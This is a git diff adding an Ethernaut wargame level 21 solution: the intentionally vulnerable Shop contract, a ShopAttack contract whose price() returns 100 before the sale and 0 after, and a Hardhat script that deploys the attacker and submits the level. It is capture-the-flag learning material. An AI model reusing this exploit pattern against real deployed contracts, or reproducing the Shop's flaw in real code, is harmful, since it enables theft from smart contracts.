diff --git a/ethernaut_challenges/contracts/21_Shop.sol b/ethernaut_challenges/contracts/21_Shop.sol new file mode 100644 index 0000000..5dbed12 --- /dev/null +++ b/ethernaut_challenges/contracts/21_Shop.sol @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.6.0; + +interface Buyer { + function price() external view returns (uint256); +} + +contract Shop { + uint256 public price = 100; + bool public isSold; + + function buy() public { + Buyer _buyer = Buyer(msg.sender); + + if (_buyer.price() >= price && !isSold) { + isSold = true; + price = _buyer.price(); + } + } +} diff --git a/ethernaut_challenges/contracts/21_ShopAttack.sol b/ethernaut_challenges/contracts/21_ShopAttack.sol new file mode 100644 index 0000000..d5a77f4 --- /dev/null +++ b/ethernaut_challenges/contracts/21_ShopAttack.sol @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: GPL-3.0 + +pragma solidity ^0.6.0; + +import "./21_Shop.sol"; + +contract ShopAttack { + Shop target; + + constructor(address payable _target) public { + target = Shop(_target); + } + + function buy() public { + target.buy(); + } + + function price() public view returns (uint256) { + if (target.isSold()) { + return 0; + } else { + return 100; + } + } +} diff --git a/ethernaut_challenges/scripts/21_shop.ts b/ethernaut_challenges/scripts/21_shop.ts new file mode 100644 index 0000000..a3aac5b --- /dev/null +++ b/ethernaut_challenges/scripts/21_shop.ts @@ -0,0 +1,28 @@ +import { Signer } from 'ethers' +import { ethers } from 'hardhat' +import { Shop } from '../typechain-types/Shop' +import { ShopAttack } from '../typechain-types/ShopAttack' +import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' +import { loadOrDeployContract } from './helpers' + +const levelAddress = '0x3aCd4766f1769940cA010a907b3C8dEbCe0bd4aB' + +const main = async () => { + const signer = (await ethers.getSigners())[0] as Signer + + const targetContract = (await loadOrCreateLevelInstance('Shop', levelAddress, signer)) as Shop + const attackContract = (await loadOrDeployContract('ShopAttack', [targetContract.address], signer)) as ShopAttack + + const tx = await attackContract.buy({ gasLimit: 100000 }) + console.log(`tx hash ${tx.hash}`) + await tx.wait() + + await submitLevelInstance(targetContract.address, signer) +} + +main() + .then(() => process.exit()) + .catch(e => { + console.error(e) + process.exit(1) + })